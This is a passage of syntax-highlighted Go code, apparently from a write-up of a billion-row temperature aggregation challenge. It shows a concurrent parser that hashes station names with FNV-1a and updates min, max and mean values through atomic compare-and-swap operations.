&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">ids&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span> [&lt;span style="color:#ae81ff">128&lt;/span>]&lt;span style="color:#66d9ef">byte&lt;/span> &lt;span style="color:#75715e">// name is 100 chars max, each 3 decimals is 5 bytes max on output&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>:&lt;span style="color:#ae81ff">0&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">count&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = append(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;,&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39; &amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = append(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">nameBuf&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>:&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">nameLen&lt;/span>]&lt;span style="color:#f92672">...&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = append(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;=&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = &lt;span style="color:#a6e22e">decimal&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>(), &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>).&lt;span style="color:#a6e22e">BytesToFixed&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = append(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;/&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = &lt;span style="color:#a6e22e">decimal&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">sumT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>(), &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>).&lt;span style="color:#a6e22e">Div&lt;/span>(&lt;span style="color:#a6e22e">decimal&lt;/span>.&lt;span style="color:#a6e22e">NewFromInt&lt;/span>(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)).&lt;span style="color:#a6e22e">BytesToFixed&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = append(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;/&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> = &lt;span style="color:#a6e22e">decimal&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>(), &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>).&lt;span style="color:#a6e22e">BytesToFixed&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(string(&lt;span style="color:#a6e22e">b&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// fmt.Printf(&amp;#34;%s=%s/%s/%s&amp;#34;, m.nameBuf[0:m.nameLen], decimal.New(m.minT.Load(), -1).StringFixed(1), decimal.New(m.sumT.Load(), -1).Div(decimal.NewFromInt(m.countT.Load()-1)).StringFixed(1), decimal.New(m.maxT.Load(), -1).StringFixed(1))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurements&lt;/span>) &lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">total&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// assume valid input&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> len(&lt;span style="color:#a6e22e">data&lt;/span>) &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// compute FNV-1a hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> uint64(&lt;span style="color:#a6e22e">fnv1aOffset64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> = &lt;span style="color:#a6e22e">j&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// calculate FNV-1a hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> ^= uint64(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">*=&lt;/span> &lt;span style="color:#a6e22e">fnv1aPrime64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> = uint64(len(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idData&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[:&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// now i points to temperature&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// parseNumber&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// data[i] is &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// get measurement&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">capacity&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">hash&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">idHash&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// make sure no race occurs as entry may be updated meanwhile as hash has been updated&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">nameLen&lt;/span> = len(&lt;span style="color:#a6e22e">idData&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> copy(&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">nameBuf&lt;/span>[:], &lt;span style="color:#a6e22e">idData&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">sumT&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// unlock for update below&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// wait for countT to be at least 2 for entry init to be complete&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>() &amp;lt; &lt;span style="color:#ae81ff">2&lt;/span> {}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// update existing entry&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">minT&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">minT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">maxT&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">maxT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">sumT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">hash&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>() &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">idHash&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// the entry is found and may be being updated by another thread&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// wait for countT to be at least 2 for entry init to be complete&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>() &amp;lt; &lt;span style="color:#ae81ff">2&lt;/span> {}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// now that name has been updated, check it is matching&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(&lt;span style="color:#a6e22e">idData&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#75715e">/* bytes.Compare(idData, entry.nameBuf[0:entry.nameLen]) == 0 */&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// update existing entry&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">minT&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">minT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">maxT&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">maxT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
